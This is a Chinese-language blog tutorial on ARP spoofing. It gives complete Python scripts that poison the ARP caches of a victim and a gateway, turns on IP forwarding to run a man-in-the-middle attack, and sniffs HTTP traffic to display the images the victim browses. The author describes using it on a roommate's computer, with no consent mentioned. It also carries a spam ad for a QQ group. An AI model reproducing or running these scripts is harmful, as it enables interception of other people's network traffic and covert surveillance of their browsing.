利用Python&ARP欺騙抓圖片!回首掏,哎就是封不了我的IP!難受
選擇kali支援的無線網絡卡可參考連結:http://www.freebuf.com/articles/wireless/140065.html
不過要注意一點,wn722n型號的無線網絡卡只有v1才支援kali,現在網上大多數賣的都是v2的,如果選擇這一款買的時候要好好看一下,不要選錯
arp協議研究
在進行arp攻擊之前,先來研究一下arp協議
arp協議的全稱為地址解析協議,是一種工作在網路層的協議,是一種將ip地址轉換為MAC地址(實體地址)的協議
因為在OSI七層模型中,ip地址在第三層網路層,傳送的是ip資料報,mac地址在第二層資料鏈路層,傳送的是資料幀,二層的乙太網交換裝置並不能識別32位的IP地址,它們是以48位乙太網地址(就是我們常說的MAC地址)傳輸乙太網資料包(幀)的,區域網的機器要和其他機器進行通訊,首先要獲取對方的實體地址,所以arp協議便把ip地址轉換為實體地址來實現這種對應關係
arp協議資料包
進群:548377875 即可獲取數十套PDF哦
這樣發起 arp 請求的機器從 arp 響應包裡獲取 MAC 地址並新增到本機 arp 快取中,與閘道器進行通訊,在這裡要注意一點,在本機向閘道器傳送 arp 請求的同時,閘道器也會向本機發送 arp 請求獲取本機 MAC 地址,同時本機也會向閘道器傳送 arp 響應,這時一個雙向的過程,這裡不再重複
接下來為了更清楚的理解,用 wireshark 抓包來觀察一下 arp 請求包和響應包
選擇抓包的網絡卡介面,在這選擇wlan0,並向閘道器發起ping請求與閘道器通訊,本機 ip 為192.168.0.106,閘道器ip為192.168.0.1
在過濾視窗輸入arp&&ip.addr==192.168.0.1將arp資料包過濾出來
觀察arp請求包和響應包是否和上述描述的一致,圖中做出了詳細標明
arp請求包
arp響應包
arp欺騙
上面描述完了arp協議,下面來說一下arp欺騙攻擊,假設區域網內有三臺機器
閘道器:192.168.0.1
受害者機器:192.168.0.108
本機kali:192.168.0.106
正常情況下,如果受害者和閘道器要進行通訊,首先要使用arp協議進行對方的MAC地址獲取,但是如果攻擊者不斷的向受害者傳送arp響應包,告訴受害者閘道器的MAC地址為自己的MAC地址,包的大致內容如下
op:2(op值為2說明這是一次arp響應)
hwsrc:傳送方MAC地址(攻擊者MAC地址)
psrc:傳送方ip地址(閘道器ip地址)
hwdst:目標MAC地址(受害者MAC地址)
pdst:目標ip地址(受害者ip地址)
在這裡傳送方ip是閘道器的ip,但是傳送方MAC已經變為了攻擊者(kali)的MAC地址,受害者不斷的接收這個arp響應包,便會在自己的arp快取中不斷的更新錯誤的ip與MAC的對應關係,及閘道器的MAC為攻擊者的MAC,由此攻擊者的網絡卡便可以捕獲到受害者到閘道器之間的流量,到現在實現了arp斷網,受害者因為與錯誤的MAC地址進行通訊而上不了網,如果攻擊者的機器開啟了ip轉發,便可以將從受害者擷取到的流量轉發出去給閘道器,實現arp欺騙,也稱為中間人攻擊
arp欺騙一般是雙向欺騙,我們通過arp欺騙可以捕獲到受害者到閘道器的流量,同樣的我們可以向閘道器傳送arp響應包欺騙閘道器受害者的MAC地址為自己的MAC地址,截獲閘道器到受害者之間的流量,arp響應包大致如下
op:2(op值為2說明這是一次arp響應)
hwsrc:傳送方MAC地址(攻擊者MAC地址)
psrc:傳送方ip地址(受害者ip地址)
hwdst:目標MAC地址(閘道器MAC地址)
pdst:目標ip地址(閘道器ip地址)
同樣的閘道器在不斷接受到此arp響應時也會不斷的更新自己的arp快取去建立錯誤的關係,我們的kali攻擊機便可以雙向的截獲流量
用python實現arp攻擊
所需的python第三方庫
scapy庫:scapy是一個可用於網路嗅探的非常強大的第三方庫。可以偽造,嗅探或傳送網路資料包,這這裡我們使用scapy庫偽造arp響應包併發送,首先安裝scapy庫,kali預設自帶
pip install scapy
模擬攻擊環境,一個真實的區域網,就是我們寢室
自己的kali攻擊機:192.168.0.106,裝在vm虛擬機器中,連線了RT3070型號的無線網絡卡
室友的電腦:192.168.0.108,連線同一路由器的無線網
閘道器:192.168.0.1
編寫python程式碼:arpattack.py
from scapy.all import *#匯入scapy模組 from optparse import OptionParser#匯入命令列引數處理模組optparse import sys def main(): usage="Usage: [-i interface] [-t targetip] [-g gatewayip]" parser=OptionParser(usage) parser.add_option('-i',dest='interface',help='select interface(input eth0 or wlan0 or more)')#-i 所選擇的網絡卡,eth0或wlan0,存放在interface變數中 parser.add_option('-t',dest='targetip',help='select ip to spoof')#-t 要攻擊的ip,存放在targetip變數中 parser.add_option('-g',dest='gatewayip',help='input gateway ip')#-g 閘道器ip,存放在gatewayip變數中 (options,args)=parser.parse_args() if options.interface and options.targetip and options.gatewayip: interface=options.interface tip=options.targetip gip=options.gatewayip spoof(interface,tip,gip)#將引數傳給spoof函式 else: parser.print_help()#顯示幫助 sys.exit(0) def spoof(interface,tip,gip):#獲取命令列的輸入實現arp攻擊 localmac=get_if_hwaddr(interface)#get_if_hwaddr獲取本地網絡卡MAC地址 tmac=getmacbyip(tip)#根據目標ip獲取其MAC地址 gmac=getmacbyip(gip)#根據閘道器ip獲取其MAC地址 ptarget=Ether(src=localmac,dst=tmac)/ARP(hwsrc=localmac,psrc=gip,hwdst=tmac,pdst=tip,op=2)#構造arp響應包,欺騙目標機器閘道器的MAC地址為本機MAC地址 pgateway=Ether(src=localmac,dst=gmac)/ARP(hwsrc=localmac,psrc=tip,hwdst=gmac,pdst=gip,op=2)#構造arp響應包,欺騙閘道器目標機器的MAC地址為本機MAC地址 try: while 1: sendp(ptarget,inter=2,iface=interface) print "send arp reponse to target(%s),gateway(%s) macaddress is %s"%(tip,gip,localmac) sendp(pgateway,inter=2,iface=interface) print "send arp reponse to gateway(%s),target(%s) macaddress is %s"%(gip,tip,localmac)#不斷髮送arp響應包欺騙目標機器和閘道器,直到ctrl+c結束程式 except KeyboardInterrupt: sys.exit(0) if __name__=='__main__': main()
指令碼使用到的scapy庫中的幾個函式
get_if_hwaddr("本地網絡卡名稱(eth0/wlan0)") 根據所選擇的本地網絡卡獲取相應的本地網絡卡的MAC地址
getmacbyip("ip地址") 根據ip地址獲取其MAC地址,使用該函式實際上使用了一次arp協議,可以用此函式獲取閘道器和目標的MAC地址
ARP是構建ARP資料包的類,Ether用來構建乙太網資料包,構造arp資料包並加上乙太網頭部
Ether(src=本地網絡卡MAC,dst=目標機器MAC)/ARP(hwsrc=本地網絡卡MAC,psrc=閘道器ip,hwdst=目標機器MAC,pdst=目標機器ip,op=2) 構造傳送給目標機器的arp資料包,並加上乙太網頭部,欺騙目標機器閘道器的MAC為本機的MAC Ether(src=本地網絡卡MAC,dst=閘道器MAC)/ARP(hwsrc=本地網絡卡MAC,psrc=閘道器ip,hwdst=閘道器MAC,pdst=閘道器ip,op=2) 構造傳送給閘道器的arp資料包,並加上乙太網頭部,欺騙閘道器目標機器的MAC為本機的MAC sendp函式傳送我們構造的arp資料包 sendp(資料包, inter=2, iface=網絡卡) sendp函式工作在網路的第二層
以上程式碼實現了類似於arpspoof工具的功能,使用方法,進入指令碼目錄,輸入
python arpattack.py -h
檢視指令碼使用幫助
Usage: [-i interface] [-t targetip] [-g gatewayip] Options: -h, --help show this help message and exit -i INTERFACE select interface(input eth0 or wlan0 or more) -t TARGETIP select ip to spoof -g GATEWAYIP input gateway ip
所以我們這樣輸入可以雙向的欺騙閘道器和目標機器完中間人攻擊
python arpattack.py -i 網絡卡 -t 要攻擊的目標的ip地址 -g 閘道器ip
輸入
python arpattack.py -i wlan0 -t 192.168.0.8 -g 192.168.0.1
選擇無線網絡卡wlan0的MAC地址去欺騙室友的電腦和閘道器路由器,如果我和室友都插了網線,就要選擇eth0
執行指令碼便會不斷的向室友的電腦和閘道器傳送arp響應包進行雙向欺騙,效果如下
室友電腦 arp 快取
路由器 arp 快取
這時我們截獲了室友電腦和閘道器之間的流量,使其不能相互通訊,完成了arp斷網
echo "1">/proc/sys/net/ipv4/ip_forward
開啟流量轉發,這時室友和閘道器正常通訊,但是流量會經過我們的網絡卡
接下來用python編寫程式碼檢視室友電腦瀏覽的網頁圖片,其實不難,因為瀏覽圖片一般都是向伺服器傳送一次請求圖片的http請求,所以只需從經過我們網絡卡的流量中過濾tcp80埠的資料包(http協議),將資料包的頭部層層去掉,最後便能得到應用層的http資料包,在利用正則表示式將http://*.jpg篩選出來即可知道室友請求了哪些圖片,python的pcap庫和dpkt庫可以使我們很容易的得到電腦網絡卡流量中的http應用層資料包
apt-get install libpcap-dev pip install pypcap pip install dpkt
安裝pcap庫和dpkt庫
pcap模組的pcap方法可以返回一個用來捕獲網絡卡資料包的pcap物件
dpkt,一個數據包解析工具,可以解析離線/實時pcap資料包
python程式碼如下stealimg.py
import pcap import dpkt import re import requests from PIL import Image from io import BytesIO from optparse import OptionParser import sys urllist=[] def main(): usage="Usage: [-i interface]" parser=OptionParser(usage) parser.add_option('-i',dest='interface',help='select interface(input eth0 or wlan0 or more)') (options,args)=parser.parse_args() if options.interface: interface=options.interface pc=pcap.pcap(interface) pc.setfilter('tcp port 80') for ptime,pdata in pc: getimg(pdata) else: parser.print_help() sys.exit(0) def getimg(pdata): global urllist p=dpkt.ethernet.Ethernet(pdata) if p.data.__class__.__name__=='IP': if p.data.data.__class__.__name__=='TCP': if p.data.data.dport==80: pa=re.compile(r'GET (.*?.jpg)')#|.*?.png|.*?.gif img=re.findall(pa,p.data.data.data) if img!=[]: lines=p.data.data.data.split(' ') for line in lines: if 'Host:' in line: url='http://'+line.split(':')[-1].strip()+img[-1] if url not in urllist: urllist.append(url) if 'Referer:' in p.data.data.data: for line in lines: if 'Referer:' in line: referer=line.split(':')[-1].strip() print url r=requests.get(url,headers={'Referer':referer}) img=Image.open(BytesIO(r.content)) img.show() else: r=requests.get(url) img=Image.open(BytesIO(r.content)) img.show() else: pass if __name__=='__main__': main()
程式碼將pcap從本機網絡卡捕獲到的完整的網路資料包使用dpkt庫將其中封裝的http應用層資料包提取出來,通過正則表示式將請求圖片的http請求過濾出來,並在本機請求並輸出,完成窺屏,效果如下
用法 stealimg,py -i wlan0
室友電腦瀏覽圖片
自己kali可以窺屏
注意一點,百度的圖片爬取要在http請求頭中加上Referer欄位,否則會出現403禁止訪問,程式碼只是簡單的實現了窺屏的效果,還有著很多不足,不過通過這次學習可以對arp欺騙攻擊有更深的理解